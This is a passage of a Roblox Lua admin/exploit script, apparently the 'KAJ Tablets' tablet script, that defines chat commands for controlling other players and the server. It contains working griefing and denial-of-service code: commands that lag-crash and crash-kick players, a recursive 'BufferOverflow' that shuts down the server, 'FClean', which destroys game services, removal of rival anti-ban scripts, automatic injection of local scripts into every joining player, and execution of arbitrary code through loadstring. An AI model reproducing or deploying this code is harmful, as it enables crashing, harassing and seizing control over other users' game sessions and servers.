  1685. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1686. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  1687. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1688. end)
  1689. end
  1690. end
  1691. end)
  1692. end
  1693. end)
  1694.  
  1695. Delay(0, function()
  1696. while wait() do
  1697. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1698. ypcall(function()
  1699. if Injected[v.Name] == nil and LS ~= nil then
  1700. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1701. Injected[v.Name] = true
  1702. end
  1703. end)
  1704. end
  1705. end
  1706. end)
  1707.  
  1708. Plrs.PlayerAdded:connect(function(Plr)
  1709. wait(.1)
  1710. ypcall(function()
  1711. if Removed == false then
  1712. local JoinPlrName = Plr.Name
  1713. coroutine.resume(coroutine.create(function()
  1714. PlaceSpecificRank(Plr)
  1715. end))
  1716. coroutine.resume(coroutine.create(function()
  1717. if Injected[JoinPlrName] ~= nil then
  1718. Injected[JoinPlrName] = nil
  1719. end
  1720. end))
  1721. coroutine.resume(coroutine.create(function()
  1722. Dismiss(Plr)
  1723. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1724. end))
  1725. end
  1726. end)
  1727. end)
  1728.  
  1729. Plrs.PlayerRemoving:connect(function(Plr)
  1730. wait(.1)
  1731. ypcall(function()
  1732. if Removed == false then
  1733. local LeftPlrName = Plr.Name
  1734. coroutine.resume(coroutine.create(function()
  1735. if Injected[LeftPlrName] ~= nil then
  1736. Injected[LeftPlrName] = nil
  1737. end
  1738. end))
  1739. end
  1740. end)
  1741. end)
  1742.  
  1743. coroutine.resume(coroutine.create(function()
  1744. Delay(0, function()
  1745. while FoundLocalScript == false do wait()
  1746. ypcall(function()
  1747. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1748. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1749. for _,c in pairs(v:children()) do
  1750. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1751. local NewVal = c:Clone()
  1752. NewVal.Name = "LoadingVal"
  1753. for _,s in pairs(v:GetChildren()) do
  1754. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1755. print("Found Owner")
  1756. OwnSource = s.Name
  1757. print(OwnSource)
  1758. break
  1759. end
  1760. end
  1761. wait()
  1762. LS = v:Clone()
  1763. NewVal.Parent = LS
  1764. LSSource = "LoadingVal"
  1765. FoundLocalScript = true
  1766. break
  1767. end
  1768. end
  1769. end
  1770. end
  1771. end)
  1772. end
  1773. end)
  1774. end))
  1775.  
  1776. --Commands
  1777.  
  1778. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1779. Dismiss(Speaker.Name)
  1780. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1781. Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1782. Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1783. Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1784. Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1785. Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1786. Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1787. Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1788.  
  1789. end)
  1790.  
  1791. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1792. Dismiss(Speaker.Name)
  1793. end)
  1794.  
  1795. Command("Kill", 2, "Kills A Player",
  1796. function(Msg, Speaker)
  1797. local PlrTab = getPlayer(Speaker, Msg)
  1798. if #PlrTab > 0 then
  1799. for _,v in pairs(PlrTab) do
  1800. ypcall(function()
  1801. v.Character:BreakJoints()
  1802. Ping("Killed "..v.Name, Speaker, 5)
  1803. end)
  1804. end
  1805. end
  1806. end)
  1807.  
  1808. Command("expl", 2, "Explodes A Player",
  1809. function(Msg, Speaker)
  1810. local PlrTab = getPlayer(Speaker, Msg)
  1811. if #PlrTab > 0 then
  1812. for _,v in pairs(PlrTab) do
  1813. ypcall(function()
  1814. if v.Character and v.Character:findFirstChild("Head") then
  1815. local e = Instance.new("Explosion")
  1816. e.Position = v.Character.Head.Position
  1817. e.Parent = v.Character
  1818. Ping("Exploded "..v.Name, Speaker, 5)
  1819. end
  1820. end)
  1821. end
  1822. end
  1823. end)
  1824.  
  1825.  
  1826. Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
  1827. Dismiss()
  1828. end)
  1829.  
  1830. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1831. local PlrTab = getPlayer(Speaker, Msg)
  1832. if #PlrTab > 0 then
  1833. for _,v in pairs(PlrTab) do
  1834. ypcall(function()
  1835. if v.Name ~= Owner then
  1836. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1837. Ping("Muted "..v.Name, Speaker, 5)
  1838. end
  1839. end)
  1840. end
  1841. end
  1842. end)
  1843.  
  1844.  
  1845.  
  1846. Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
  1847. local PlrTab = getPlayer(Speaker, Msg)
  1848. if #PlrTab > 0 then
  1849. for _,v in pairs(PlrTab) do
  1850. ypcall(function()
  1851. Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  1852.  
  1853. end)
  1854. end
  1855. end
  1856. end)
  1857.  
  1858. Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
  1859. local PlrTab = getPlayer(Speaker, Msg)
  1860. if #PlrTab > 0 then
  1861. for _,v in pairs(PlrTab) do
  1862. ypcall(function()
  1863. Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  1864.  
  1865. end)
  1866. end
  1867. end
  1868. end)
  1869. Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
  1870. Dismiss()
  1871. for i = 1, 2 do
  1872. Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
  1873. end end)
  1874. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1875. local PlrTab = getPlayer(Speaker, Msg)
  1876. if #PlrTab > 0 then
  1877. for _,v in pairs(PlrTab) do
  1878. ypcall(function()
  1879. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1880. Ping("Rejoined "..v.Name, Speaker, 5)
  1881. end)
  1882. end
  1883. end
  1884. end)
  1885.  
  1886. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  1887. local PlrTab = getPlayer(Speaker, Msg)
  1888. if #PlrTab > 0 then
  1889. for _,v in pairs(PlrTab) do
  1890. ypcall(function()
  1891. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1892. Ping("Jailed "..v.Name, Speaker, 5)
  1893. end)
  1894. end
  1895. end
  1896. end)
  1897.  
  1898. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1899. local PlrTab = getPlayer(Speaker, Msg)
  1900. if #PlrTab > 0 then
  1901. for _,v in pairs(PlrTab) do
  1902. ypcall(function()
  1903. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1904. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1905. end)
  1906. end
  1907. end
  1908. end)
  1909.  
  1910. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1911. local PlrTab = getPlayer(Speaker, Msg)
  1912. if #PlrTab > 0 then
  1913. for _,v in pairs(PlrTab) do
  1914. ypcall(function()
  1915. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1916. Ping("UnMuted "..v.Name, Speaker, 5)
  1917. end)
  1918. end
  1919. end
  1920. end)
  1921.  
  1922. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1923. local Worked = false
  1924. for _,v in pairs(Work:GetChildren()) do
  1925. if string.find(v.Name:lower(), Msg:lower()) then
  1926. if v:IsA("Script") or v:IsA("LocalScript") then
  1927. v.Disabled = true
  1928. v:Destroy()
  1929. Worked = true
  1930. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1931. end
  1932. end
  1933. end
  1934. if Worked == false then
  1935. Ping("Script Not Found", Speaker, 5)
  1936. end
  1937. end)
  1938.  
  1939. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1940. Dismiss(Speaker)
  1941. local AllScripts = {}
  1942. for _,v in pairs(Work:GetChildren()) do
  1943. if v:IsA("Script") then
  1944. table.insert(AllScripts, v.Name)
  1945. end
  1946. end
  1947. if #AllScripts > 0 then
  1948. for _,v in pairs(AllScripts) do
  1949. Ping(v, Speaker)
  1950. end
  1951. else
  1952. Ping("No Scripts Found", Speaker, 5)
  1953. end
  1954. end)
  1955.  
  1956. Command("afk",0,'Makes you go AFK',
  1957. function(Msg,Speaker)
  1958. Dismiss(Speaker)
  1959. for i = 1,8 do
  1960. Ping('AFK',Speaker)
  1961. wait(.01)
  1962. end
  1963. end)
  1964. Command("back",0,'Creates Tablets telling everyone that you are back',
  1965. function(Msg,Speaker)
  1966. Dismiss(Speaker)
  1967. for i = 1,8 do
  1968. Ping('Welcome Back!',Speaker,6)
  1969. wait(.1)
  1970. end
  1971. end)
  1972.  
  1973.  
  1974.  
  1975.  
  1976. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1977. Dismiss(Speaker)
  1978. local LocalScripts = {}
  1979. for _,v in pairs(All()) do
  1980. ypcall(function()
  1981. for _,x in pairs(v.Character:GetChildren()) do
  1982. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1983. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1984. end
  1985. end
  1986. end)
  1987. ypcall(function()
  1988. for _,x in pairs(v.Backpack:GetChildren()) do
  1989. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1990. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1991. end
  1992. end
  1993. end)
  1994. ypcall(function()
  1995. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1996. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1997. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1998. end
  1999. end
  2000. end)
  2001. end
  2002. if #LocalScripts > 0 then
  2003. for _,v in pairs(LocalScripts) do
  2004. Ping(v, Speaker)
  2005. end
  2006. else
  2007. Ping("No Local Scripts Found", Speaker, 5)
  2008. end
  2009. end)
  2010.  
  2011. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  2012. local Split = GetSplit(Msg)
  2013. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2014. local ScriptName = Msg:sub(Split + 1)
  2015. local FoundLocal = false
  2016. for _,name in pairs(PlrTab) do
  2017. ypcall(function()
  2018. for _,v in pairs(name.Character:GetChildren()) do
  2019. if string.find(v.Name:lower(), ScriptName) then
  2020. if v:IsA("Script") or v:IsA("LocalScript") then
  2021. v.Disabled = true
  2022. v:Destroy()
  2023. FoundLocal = true
  2024. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2025. end
  2026. end
  2027. end
  2028. end)
  2029. ypcall(function()
  2030. for _,v in pairs(name.Backpack:GetChildren()) do
  2031. if string.find(v.Name:lower(), ScriptName) then
  2032. if v:IsA("Script") or v:IsA("LocalScript") then
  2033. v.Disabled = true
  2034. v:Destroy()
  2035. FoundLocal = true
  2036. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2037. end
  2038. end
  2039. end
  2040. end)
  2041. ypcall(function()
  2042. for _,v in pairs(name.PlayerGui:GetChildren()) do
  2043. if string.find(v.Name:lower(), ScriptName) then
  2044. if v:IsA("Script") or v:IsA("LocalScript") then
  2045. v.Disabled = true
  2046. v:Destroy()
  2047. FoundLocal = true
  2048. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2049. end
  2050. end
  2051. end
  2052. end)
  2053. if FoundLocal == false then
  2054. Ping("Local Script Not Found", Speaker, 5)
  2055. end
  2056. end
  2057. end)
  2058.  
  2059. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  2060. for _,v in pairs(game:GetChildren()) do
  2061. ypcall(function()
  2062. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  2063. for _,a in pairs(v:GetChildren()) do
  2064. ypcall(function()
  2065. a:Destroy()
  2066. end)
  2067. end
  2068. elseif v.Name == "Players" then
  2069. for _,plr in pairs(v:GetPlayers()) do
  2070. Clear(plr)
  2071. end
  2072. end
  2073. end)
  2074. end
  2075. Clean()
  2076. Fixl()
  2077. Ping("Fully Cleaned", Speaker, 5)
  2078. end)
  2079.  
  2080. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  2081. LClean()
  2082. Fixl()
  2083. Ping("Lightly Cleaned", Speaker, 5)
  2084. end)
  2085.  
  2086. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  2087. local PlrTab = getPlayer(Speaker, Msg)
  2088. if #PlrTab > 0 then
  2089. for _,v in pairs(PlrTab) do
  2090. ypcall(function()
  2091. v:LoadCharacter()
  2092. Ping("Reset "..v.Name, Speaker, 5)
  2093. end)
  2094. end
  2095. end
  2096. end)
  2097.  
  2098. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  2099. repeat wait() until Speaker.Character:findFirstChild("Torso")
  2100. if Work:findFirstChild("Base") then
  2101. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2102. else
  2103. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2104. end
  2105. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  2106. end)
  2107.  
  2108. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  2109. local PlrTab = getPlayer(Speaker, Msg)
  2110. if #PlrTab > 0 then
  2111. for _,v in pairs(PlrTab) do
  2112. ypcall(function()
  2113. v.Character.Torso.Anchored = true
  2114. Ping("Froze "..v.Name, Speaker, 5)
  2115. end)
  2116. end
  2117. end
  2118. end)
  2119.  
  2120. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  2121. wait(3)
  2122. Ping("Something went wrong",Speaker,5)
  2123. end)
  2124.  
  2125. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  2126. local PlrTab = getPlayer(Speaker, Msg)
  2127. if #PlrTab > 0 then
  2128. for _,v in pairs(PlrTab) do
  2129. ypcall(function()
  2130. Instance.new("ForceField", v.Character)
  2131. end)
  2132. end
  2133. end
  2134. end)
  2135.  
  2136. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  2137. local PlrTab = getPlayer(Speaker, Msg)
  2138. if #PlrTab > 0 then
  2139. for _,v in pairs(PlrTab) do
  2140. ypcall(function()
  2141. RemObj(v.Character, "ForceField")
  2142. end)
  2143. end
  2144. end
  2145. end)
  2146.  
  2147. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  2148. local Split = GetSplit(Msg)
  2149. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2150. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  2151. if #PlrTab > 0 and #PlrTab2 > 0 then
  2152. for i,v in pairs(PlrTab) do
  2153. ypcall(function()
  2154. for _,v2 in pairs(PlrTab2) do
  2155. ypcall(function()
  2156. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  2157. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  2158. end)
  2159. end
  2160. end)
  2161. end
  2162. end
  2163. end)
  2164.  
  2165. Command("Msg",2, "Creates a Message",
  2166. function(Msg,Speaker)
  2167. Message(Msg)
  2168. end)
  2169.  
  2170. Command("H",2, "Creates a Hint",
  2171. function(Msg,Speaker)
  2172. Hint(Msg)
  2173. end)
  2174.  
  2175. Command("Sm",2, "Creates a System message",
  2176. function(Msg,Speaker)
  2177. SystemMsg(Msg)
  2178. end)
  2179.  
  2180. function Message(str,p)
  2181. if p==nil then
  2182. for _,Player in pairs(game.Players:GetPlayers()) do
  2183. coroutine.wrap(function()
  2184. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2185. local Text = Instance.new("TextLabel", Msg)
  2186. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2187. Text.Font=2
  2188. Text.FontSize=9
  2189. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2190. Text.BackgroundTransparency = 0.4
  2191. Text.TextColor3 = Color3.new(1, 1, 1)
  2192. Text.TextTransparency = 1
  2193. Text.TextWrap = true
  2194. Text.Text = tostring(str)
  2195. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2196. Text.TextTransparency = 0
  2197. Num = #str * 0.06
  2198. wait(3)
  2199. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2200. wait(Num)
  2201. Msg:Remove()
  2202. end)()
  2203. end
  2204. else
  2205. Player=p;
  2206. coroutine.wrap(function()
  2207. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2208. local Text = Instance.new("TextLabel", Msg)
  2209. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2210. Text.Font=2
  2211. Text.FontSize=9
  2212. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2213. Text.BackgroundTransparency = 0.1
  2214. Text.TextColor3 = Color3.new(1, 1, 1)
  2215. Text.TextTransparency = 1
  2216. Text.TextWrap = true
  2217. Text.Text = tostring(str)
  2218. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2219. Text.TextTransparency = 0
  2220. Num = #str * 0.06
  2221. wait(3)
  2222. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2223. wait(Num)
  2224. Msg:Remove()
  2225. end)()
  2226. end
  2227. end
  2228. function SystemMsg(str)
  2229. for _,Player in pairs(game.Players:GetPlayers()) do
  2230. coroutine.wrap(function()
  2231. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2232. local Text = Instance.new("TextLabel", Msg)
  2233. Text.Position = UDim2.new(0, 0, 0, 0)
  2234. Text.Font='Legacy'
  2235. Text.FontSize = "Size48"
  2236. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2237. Text.BackgroundTransparency = 0.4
  2238. Text.TextColor3 = Color3.new(1,1,1)
  2239. Text.TextTransparency = 0
  2240. Text.TextWrap = true
  2241. Text.Text = ' [ System ] \n ' .. tostring(str)
  2242. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2243. Text.TextTransparency = 0.1
  2244. Num = #str * 0.06
  2245. wait(6)
  2246. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2247. wait(Num)
  2248. Msg:Remove()
  2249. end)()
  2250. end
  2251. end
  2252. function Hint(str,p)
  2253. if p == nil then
  2254. for _,Player in pairs(game.Players:GetPlayers()) do
  2255. coroutine.wrap(function()
  2256. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2257. local Text = Instance.new("TextLabel", Msg)
  2258. Text.Position = UDim2.new(0, 0, 0, 0)
  2259. Text.Font=2
  2260. Text.FontSize=9
  2261. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2262. Text.BackgroundTransparency = 0.4
  2263. Text.TextColor3 = Color3.new(1, 1, 1)
  2264. Text.TextTransparency = 1
  2265. Text.TextWrap = true
  2266. Text.Text = tostring(str)
  2267. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2268. Text.TextTransparency = 0
  2269. Num = #str * 0.06
  2270. wait(3)
  2271. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2272. wait(Num)
  2273. Msg:Remove()
  2274. end)()
  2275. end
  2276. else
  2277. Player=p
  2278. coroutine.wrap(function()
  2279. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2280. local Text = Instance.new("TextLabel", Msg)
  2281. Text.Position = UDim2.new(0, 0, 0, 0)
  2282. Text.Font=2
  2283. Text.FontSize=9
  2284. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2285. Text.BackgroundTransparency = 0.1
  2286. Text.TextColor3 = Color3.new(1, 1, 1)
  2287. Text.TextTransparency = 1
  2288. Text.TextWrap = true
  2289. Text.Text = tostring(str)
  2290. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2291. Text.TextTransparency = 0
  2292. Num = #str * 0.06
  2293. wait(3)
  2294. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2295. wait(Num)
  2296. Msg:Remove()
  2297. end)()
  2298. end
  2299. end
  2300.  
  2301. Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
  2302. MakeExplorer(Speaker)
  2303. end)
  2304.  
  2305.  
  2306. Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
  2307. wait()
  2308. Dismiss(Speaker)
  2309. NumBanned = 0
  2310. NumCmds = 0
  2311. for i = 1, #Rankings do
  2312. if Rankings[i].Rank < 0 then
  2313. NumBanned = NumBanned + 1
  2314. end
  2315. end
  2316. for i,v in pairs(Commands) do
  2317. NumCmds = NumCmds + 1
  2318. end
  2319. Ping("KAJ Tablets!", Speaker)
  2320. Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  2321. Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
  2322. Ping("I started this on 6/9/2014", Speaker)
  2323.  
  2324. Ping(#All2.." players online in the server",Speaker)
  2325. Ping(NumCmds.." Commands",Speaker)
  2326. Ping(NumBanned.." players banned", Speaker,5)
  2327.  
  2328. end)
  2329.  
  2330. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  2331. Dismiss(Speaker)
  2332. for i,v in pairs(All()) do
  2333. Ping(v.Name.."'s Rank: "..FindRank(v))
  2334. end
  2335. end)
  2336.  
  2337. Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
  2338. local Split = GetSplit(Msg)
  2339. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2340. local Speed = tonumber(Msg:sub(Split + 1))
  2341. for _,v in pairs(PlrTab) do
  2342. ypcall(function()
  2343. v.Character.Humanoid.WalkSpeed = Speed
  2344. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  2345. end)
  2346. end
  2347. end)
  2348.  
  2349. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  2350. local RemoveAB = Instance.new("StringValue")
  2351. RemoveAB.Name = "CBA Attachment"
  2352. RemoveAB.Value = [[CBA.override=true;]]
  2353. RemoveAB.Parent = Work
  2354. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  2355. end)
  2356.  
  2357. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  2358. Dismiss(Speaker)
  2359. for i,v in pairs(Injected) do
  2360. Ping(i, Speaker)
  2361. end
  2362. end)
  2363.  
  2364. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  2365. local RemoveCBA = Instance.new("StringValue")
  2366. RemoveCBA.Name = "CBA Attachment"
  2367. RemoveCBA.Value = [[CBA.remove = false]]
  2368. RemoveCBA.Parent = Work
  2369. Ping("Removed All CBA Admins", Speaker, 5)
  2370. end)
  2371.  
  2372. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  2373. local function BufferOverflow(object)
  2374. object.DescendantAdded:connect(BufferOverflow)
  2375. Instance.new("IntValue", object)
  2376. end
  2377. BufferOverflow(Game)
  2378. end)
  2379.  
  2380. Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  2381. local PlrTab = getPlayer(Speaker, Msg)
  2382. if #PlrTab > 0 then
  2383. for _,v in pairs(PlrTab) do
  2384. ypcall(function()
  2385. Crash1(v)
  2386.  
  2387. end)
  2388. end
  2389. end
  2390. end)
  2391.  
  2392. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  2393. local PlrTab = getPlayer(Speaker, Msg)
  2394. if #PlrTab > 0 then
  2395. for _,v in pairs(PlrTab) do
  2396. ypcall(function()
  2397. ChangeRank(v, -1)
  2398. end)
  2399. end
  2400. end
  2401. end)
  2402.  
  2403. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  2404. local PlrTab = getPlayer(Speaker, Msg)
  2405. if #PlrTab > 0 then
  2406. for _,v in pairs(PlrTab) do
  2407. ypcall(function()
  2408. ChangeRank(v, -2)
  2409. end)
  2410. end
  2411. end
  2412. end)
  2413.  
  2414.  
  2415.  
  2416.  
  2417.  
  2418. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2419. local PlrTab = getPlayer(Speaker, Msg)
  2420. if #PlrTab > 0 then
  2421. for _,v in pairs(PlrTab) do
  2422. ypcall(function()
  2423. ChangeRank(v, -3)
  2424. end)
  2425. end
  2426. end
  2427. end)
  2428.  
  2429. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2430. ypcall(function()
  2431. local PlrTab = getPlayer(Speaker, Msg)
  2432. if #PlrTab > 0 then
  2433. for _,v in pairs(PlrTab) do
  2434. ypcall(function()
  2435. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2436. end)
  2437. end
  2438. end
  2439. local PlrName = ChangeRank(Msg, 0)
  2440. Ping("Un-Banned "..PlrName, Speaker, 5)
  2441. end)
  2442. end)
  2443.  
  2444. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2445. Dismiss(Speaker)
  2446. Ping("Commands", Speaker, nil, function()
  2447. Dismiss(Speaker.Name)
  2448. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2449. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2450. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2451. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2452. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2453. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2454. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2455. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2456. end)
  2457. Ping("Players", Speaker, nil, function()
  2458. ListPlayers(Speaker)
  2459. end)
  2460. end)
  2461.  
  2462. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2463. ListPlayers(Speaker)
  2464. end)
  2465.  
  2466. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2467. local Func,Error = loadstring(Msg)
  2468. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2469. getfenv(Func).Speaker = Speaker
  2470. if Error == nil then
  2471. coroutine.wrap(function()
  2472. Func()
  2473. end)()
  2474. Ping("Executed Script!", Speaker, 5)
  2475. else
  2476. Ping(Error, Speaker, 10)
  2477. end
  2478. end)
  2479.  
  2480. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2481. if LS ~= nil then
  2482. local Split = GetSplit(Msg)
  2483. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2484. local LocalSource = Msg:sub(Split + 1)
  2485. if #PlrTab > 0 then
  2486. for _,v in pairs(PlrTab) do
  2487. local Inserted = LS:Clone()
  2488. Inserted.Disabled = true
  2489. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2490. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2491. Inserted:findFirstChild(OwnSource).Value = v.Name
  2492. end
  2493. Inserted[LSSource].Value = LocalSource
  2494. Inserted.Disabled = false
  2495. end
  2496. end
  2497. else
  2498. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2499. end
  2500. end)
  2501.  
  2502. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2503. Msg = tostring(Msg)
  2504. Ping(Msg, Speaker)
  2505. end)
  2506.  
  2507. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2508. Dismiss(Speaker)
  2509. for i,v in pairs(getfenv(1)) do
  2510. ypcall(function()
  2511. Ping(tostring(i)..": "..tostring(v), Speaker)
  2512. end)
  2513. end
  2514. end)
